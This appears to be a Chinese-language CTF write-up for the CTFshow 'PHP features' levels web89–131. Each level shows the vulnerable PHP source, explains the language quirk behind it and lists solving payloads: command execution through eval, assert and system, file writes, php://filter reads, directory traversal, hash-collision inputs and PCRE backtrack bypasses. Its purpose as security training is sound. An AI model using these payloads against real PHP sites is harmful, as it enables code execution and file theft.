CTFshow——PHP特性(上)

目录:

    • web89——preg_match函数 、数组
    • web90——intval()函数、强比较
    • web91——正则修饰符
    • web92——intval()函数、弱比较
    • web93——八进制与小数点
    • web94、95——八进制与小数点
    • web96——highlight_file() 下的目录路径
    • web97——强比较
    • web98——三目运算符
    • web99——in_array()函数第三个参数
    • web100——优先级
    • web101——ReflectionClass打印类
    • web102、103——回调函数、经base64与bin2hex后全为数字
    • web104 、106 ——sha1碰撞
    • web105——变量覆盖
    • web107——parse_str
    • web108——ereg()函数%00截断
    • web109——异常处理类
    • web110——FilesystemIterator类读取 文件
    • web111——$GLOBALS全局变量
    • web112——php伪协议绕过 is_file()函数
    • web113—— /proc/self/root指向根目录
    • web114——php://filter
    • web115——Fuzz测试绕过
    • web123、125、126——PHP变量命名与$_SERVER['argv']
    • web127——利用脚本进行Fuzz测试
    • web128——gettext()的拓展函数与get_defined_vars()读取已定义变量
    • web129——目录穿越
    • web130、131——绕过preg_match()的方法

web89——preg_match函数 、数组


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

preg_match只能处理字符串,当传入的subject是数组时会返回false

intval() 的返回值是整型,1或者0。
作用于数组时当数组为空,返回值是0,不为空则为1,并无报错

payload:?num[]=1





web90——intval()函数、强比较


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()函数:

intval ( mixed $var [, int $base = 10 ] ) : int

Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" ("0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)

intval()函数,如果$base为0,则$var中存在字母的话遇到字母就停止
intvaal(‘4476a’)只读取4476从而转化为4476

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制 :0X??  
intval('010574')===4476    8进制  :0??
intval(' 010574')===4476   8进制+空格
intvaal('4476a')===4476    





web91——正则修饰符


show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

正则表达式常用修饰符:

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

g
全局匹配,查找所有匹配项

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

第一个preg_match匹配多行中的“php”
第二个preg_match匹配第一行中的“php”

payload: ?cmd=666%0aphp    %0a是换行符





web92——intval()函数、弱比较


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

4476a是无法绕过第六行的,弱比较下两者直接相等
可以利用16进制、8进制、小数点绕过,做法类似web90

下面讲讲另外一种:

e这个字母比较特殊,在PHP中会被当作科学计数法。这是PHP在处理字符串时的一个缺陷

所以为了绕过第6行:==4476,我们就可以构造4476e123,被认为是科学计数法,值是:4476×10^123

第9行intval()函数处理时遇到字母就停止,所以只读取4476而不是4476e123,从而绕过

?num=4476e123





web93——八进制与小数点


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母,但以0开头的8进制可以用

payload:?num=010574

小数点也可以

intval()如何处理小数点? 只读取整数部分!
intval(0.1) = 0
intval(0.9) = 0
intval(1) = 1
intval(1.9) = 1

payload:?num=4476.1(小数点位只要不是0就行)





web94、95——八进制与小数点


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos()函数返回匹配的字符位置,默认从0开始

strpos()限制了传参第一位不能为0,如果为0,就die
通过换行符%0a 、空格符%20结合八进制绕过

payload:     ?num=%0a010574
              ?num=%20010574
              
直接空格也行: ?num= 010574(空格+010574

小数点也可以

?num=4476.0





web96——highlight_file() 下的目录路径


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}
payload:?u=./flag.php
		 ?u=/var/www/html/flag.php

highlight_file + php伪协议:

?u=php://filter/resource=flag.php





web97——强比较


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里是===的强比较,利用MD5为0e开头的做法是不行的

解法一:数组

MD5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

a[]=1&b[]=2

解法二:强碰撞
不利用数组,而是使用md5一致但不同的两个字符串

这是经过URL编码的两个字符串,他们的md5值是相等的
原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

详情看:
【PHP】MD5比较漏洞 弱比较、强比较、强碰撞

MD5碰撞的一些例子





web98——三目运算符


include("flag.php");
$_GET?$_GET=&$_POST:'flag';  
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
$_GET?$_GET=&$_POST:'flag';意思:如果有GET方法传参,就将GET方法改为POST方法

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)意思:如果有通过GET方法传参'HTTP_FLAG=flag',就highlight_file($flag)。否则highlight_file(__FILE__)

中间的代码没有作用,因为我们不提交 flag 参数

payload:
GET传参:?HTTP_FLAG=flag
POST传参:HTTP_FLAG=flag      





web99——in_array()函数第三个参数


highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i)); //往$allow 末尾追加一个随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);//file_put_contents() 函数把一个字符串写入文件中。文件不存在就创建
}

?>

in_array(search,array,type)

search 必需 规定要在数组搜索的值
array 必需 规定要搜索的数组
type 可选 如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同

in_array()函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));   //bool(true)

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow,true));   //bool(false)

在in_array()中n=1.php就会转化成n=1,此外通过file_put_contents()创建一个文件写入php代码

?n=666.php
content= system("ls");?>
访问666.php即可





web100——优先级


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}
?>

先了解一下and、&&、or、|| 的逻辑运算:

$bA = true;
$bB = false;
var_dump($bA and $bB); // false
var_dump($bA && $bB); // false
$bA = false;
$bB = true;
var_dump($bA or $bB); // true
var_dump($bA || $bB); // true


再看下一段代码:

$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // $b1 = true
var_dump($b2); // $b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // $b3 = false
var_dump($b4); // $b4 = true


这段代码跟优先级有很大联系
CTFshow——PHP特性(上)_第1张图片
不难发现:&&||的优先级是高于andor
=的优先级高于andor
既然如此,$v1为数字即可让$v0为True
构造出:var_dump($ctfshow);

payload:
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;      //利用注释符号/**/

也可以利用?>

?v1=1&v2=&v3=?><?=`cat ctfshow.php`;  //反引号执行命令





web101——ReflectionClass打印类


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

我们可以使用ReflectionClass类,打印类的结构

?v1=1&v2=echo new ReflectionClass&v3=;





web102、103——回调函数、经base64与bin2hex后全为数字


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

回调函数:call_user_func(callback,parameter )

第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。

$v1:这里使用hex2bin()作为回调函数(16进制转化为字符)
$v2:这里要求全是数字。
$v3:使用PHP伪协议写入文件

v3=php://filter/write=convert.base64-decode/resource=1.php

思路:通过写入的$v2全为数字,转化为字符$str,然后写入文件,然后访问文件得到所需

使用base64编码为字符,然后转化为全为数字的16进制得到$v3

关键就是什么代码base64编码后再转为十六进制为全数字

$a='`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
v2=5044383959474e6864434171594473

payload:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

 # post
v1=hex2bin

#访问1.php后查看源代码获得flag





web104 、106 ——sha1碰撞


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

与md5一样,sha1无法处理数组

payload:
v1[]=1
v2[]=2

与md5一样,可利用0e科学计数法达到伪相等

payload:
v1=aaK1STf    //0e7665852665575620768827115962402601
v2=aaO8zKZF   //0e89257456677279068558073954252716165





web105——变量覆盖


highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){		//键名不能是error
        die("what are you doing?!");
    }
    $$key=$$value;		//变量覆盖,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
}foreach($_POST as $key => $value){
    if($value==='flag'){	//键值不能是flag
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){	//不相等就die($error)
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

这里有三个变量:

$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
$flag   不知道,这就是我们要输出的变量

如何输出变量$flag?
利用变量覆盖

?suces=flag		#GET  $suces=$flag
error=suces		#POST $error=$suces(此时,$flag的值就传给了$suces和$error)

利用($_POST['flag']!==$flag)输出$error,这样就输出了$flag





web107——parse_str


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

parse_str(string,array)

函数把查询字符串解析到变量中
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

对设置了第二个参数的情况(即数组的情况)举例说明

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

利用md5无法输出数组,返回是NULL的情况

?v3[]=1   #GET
v1="flag=0"   #POST

科学计数法0e的情况也可以





web108——ereg()函数%00截断


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

strrev() :反转字符串

intval()函数遇到非数字字符就会停止识别, 877aa识别为877

^[a-zA-Z]+$这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)
正则表达式匹配次数

payload:
?c=d%00aa778    //16进制36d的10进制是877





web109——异常处理类


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)


	error_reporting(0);
	echo new Exception(system('whoami')());
?>
payload
v1=Exception&v2=system("cat f*")

v1=ReflectionClass&v2=system("cat f*")





web110——FilesystemIterator类读取 文件


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

getchwd() 函数返回当前工作目录。
CTFshow——PHP特性(上)_第2张图片

payload:
v1=FilesystemIterator&v2=getcwd





web111——$GLOBALS全局变量


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}

?>

eval("$$v1 = &$$v2;");进行了赋值操作
$v1要匹配到ctfshow

$GLOBALS:

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

例如:


$a="111";
$b="666";
var_dump($GLOBALS);

?>

省略前面大部分的结果,直接看最后,可以发现我们自己创建的变量均有被包含
CTFshow——PHP特性(上)_第3张图片
我们可以将$GLOBALS传给$v2,再赋值给$v1,实现var_dump($GOBALS)的操作

payload
?v2=GLOBALS&v1=ctfshow





web112——php伪协议绕过 is_file()函数


highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

is_file():

函数检查指定的文件名是否是正常的文件,如果文件存在且为正常的文件,则返回 true
payload:
1.php://filter/resource=flag.php		
2.php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
3.php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
4.compress.zlib://flag.php		//压缩流





web113—— /proc/self/root指向根目录


highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在上题基础上过滤了filter
可以使用非预期解

compress.zlib://flag.php

师傅们的预期解是利用/proc/self/root

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入
ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

php7.4的一个小 trick. 详情看:
php源码分析 require_once 绕过不能重复包含文件的限制





web114——php://filter


error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

没有过滤filter,直接读取

?file=php://filter/resource=flag.php





web115——Fuzz测试绕过


include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 
语法
trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

is_numeric()要求识别为数字,但不能是“36“
trim($num)!=='36'要求不能是”36“
$num=='36'但最后要求等于”36“
如何绕过is_numeric()trim()? Fuzz测试一下

测试is_numeric()

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
输出:%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .(点)、

测试trim()

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
输出:%0C、%2B(+号)、-、.(点)、0、1、2、3、4、5、6、7、8、9

除去被过滤的+ - .,只剩下%0c ,也就是换页符\f

payload
?num=%0c36





web123、125、126——PHP变量命名与$_SERVER[‘argv’]


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

1.首先是isset($_POST['CTF_SHOW.COM'])的问题

PHP变量命名规则:

只能包含:字母、数字、下划线
其中,只能以字母、下划线开头

所以,要传递CTF_SHOW.COM比较难搞
在本地利用脚本进行爆破:

web123.php:


var_dump($POST);
?>
test.py:

import requests
url="http://127.0.0.1/web123.php"
for i in range(0,129):
    i = chr(i)
    for j in range(0,129):
        j =chr(j)
        param="CTF"+i+"SHOW"+j+"COM"
        data ={ param:1,}
        #print(param)
        response=requests.post(url=url,data=data)
        page_text=response.text
        if "CTF_SHOW.COM" in page_text:
            print(i+"\t"+j+"\n")
            print(page_text)

发现:CTF[SHOW.COM可实现CTF_SHOW.COM
CTFshow——PHP特性(上)_第4张图片
GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的

特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了

因此: CTF[SHOW.COM => CTF_SHOW.COM

2.接着是$_SERVER['argv']

$_SERVER['argv']:

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

我们是在网页模式下的,注意重点:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句
CTFshow——PHP特性(上)_第5张图片
所以我们只需要通过GET方式传入 赋值的语句$fl0g=flag_give_me;

$a[0]=$_SERVER[‘argv’][0]="$fl0g=flag_give_me;"
payload1:
?$fl0g=flag_give_me;                           #GET  
CTF_SHOW=6&CTF[SHOW.COM=6&fun=eval($a[0])      #POST  

非预期解:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag		#POST

web125 payload:

?1=flag.php										#GET
CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])    #POST

web126 payload

assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
?fl0g=flag_give_me
CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])





web127——利用脚本进行Fuzz测试


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
} 
extract(array,extract_rules,prefix):
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量

通过GET方法传入ctf_show=ilove36d但是_被过滤了
利用脚本Fuzz一下

# web127.php:


extract($_GET); 
if($ctf_show==='ilove36d'){
    echo "GET!";
}
import requests

url = "http://127.0.0.1/web127.php"

for i in range(0,129):
    # print(i)
    i = chr(i)
    p = "ctf"+i+"show"
    params = { p:"ilove36d"}
    reponse = requests.get(url=url,params=params)
    page = (reponse.text)
    if "GET!" in page:
        print(i)
        print("-"*20)

结果:空格 . [ _这里只能选用空格,其他均是被过滤的
CTFshow——PHP特性(上)_第6张图片

payload:
?ctf show=ilove36d





web128——gettext()的拓展函数与get_defined_vars()读取已定义变量


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

call_user_func是回调函数,用来调用函数

gettext()拓展函数的用法

_()gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数


echo gettext(666);   //输出 666
echo "\n";
echo _("666");		//输出 666
?>

get_defined_vars() 函数

array get_defined_vars ( void )
返回由所有已定义变量所组成的数组

我们猜测flag在变量$flag

payload:
?f1=_&f2=get_defined_vars

var(call_user_func(call_user_func(_,get_defined_vars)))var(call_user_func(get_defined_vars))var(数组)





web129——目录穿越


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

stripos()获取目标字符的位置
解法一:目录穿越

?f=/ctfshow/../../../../../../../var/www/html/flag.php
../数量不确定,但越多越好,确保达到根目录

解法二:php伪协议
看到readfile这个读取文件的函数,可想到php伪协议

?f=php://filter/ctfshow||/resource=flag.php
或者
?f=php://filter/read=convert.base64-encode||ctfshow/resource=flag.php

CTFshow——PHP特性(上)_第7张图片
但测试发现,| ||都能成功,我人傻了。。





web130、131——绕过preg_match()的方法


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

首先明确一点:在PHP中,0===FALSE是错误的
CTFshow——PHP特性(上)_第8张图片
顺着这个知识点,stripos()也就绕过了

解法一:preg_match无法处理数组

preg_match() 返回值有三种:
0		不匹配
1		匹配一次
FALSE	发生错误

而preg_match对象是数组时,就会发生错误,返回:FALISE

payload:
?f=ctfshow[]

如果不允许传入数组呢?
解法二:PCRE回溯次数限制
P神:PHP利用PCRE回溯次数限制绕过某些安全限制

P神这篇文章介绍的很详细!

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
在这里插入图片描述

假设我们的回溯次数超过了100万,会出现什么现象呢?
preg_match返回的非1和0,而是false。这样也就达到绕过preg_match的目的

我们通过发送超长字符串的方式,使正则执行失败

假设我们输入`cdctfshow`
.+?匹配到w
因为非贪婪模式,回溯到o
回溯到h
回溯到s
回溯到f
回溯到t
回溯到c
回溯到d
回溯到c(至此回溯了8)

利用python发送超长字符串:

import requests

url="http://9d303ae9-9dcc-4a91-af87-f5f90543ad27.chall.ctf.show:8080/"

data={"f":"1111"*250000+"ctfshow"}

response=requests.post(url=url,data=data)
print(response.text)

方法三:异或

方法四:取反

方法五:换行符\n和%0a:
.不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected';
}

要求不能再中间位置匹配到flag,我们只需要:

$json="\nflag"

而在非多行模式下,$似乎会忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需要传入

?a=flag%0a

参考资料:
CTFSHOW PHP特性篇(上篇 89-110)

php代码审计前奏之ctfshow之php特性

你可能感兴趣的:(PHP特性)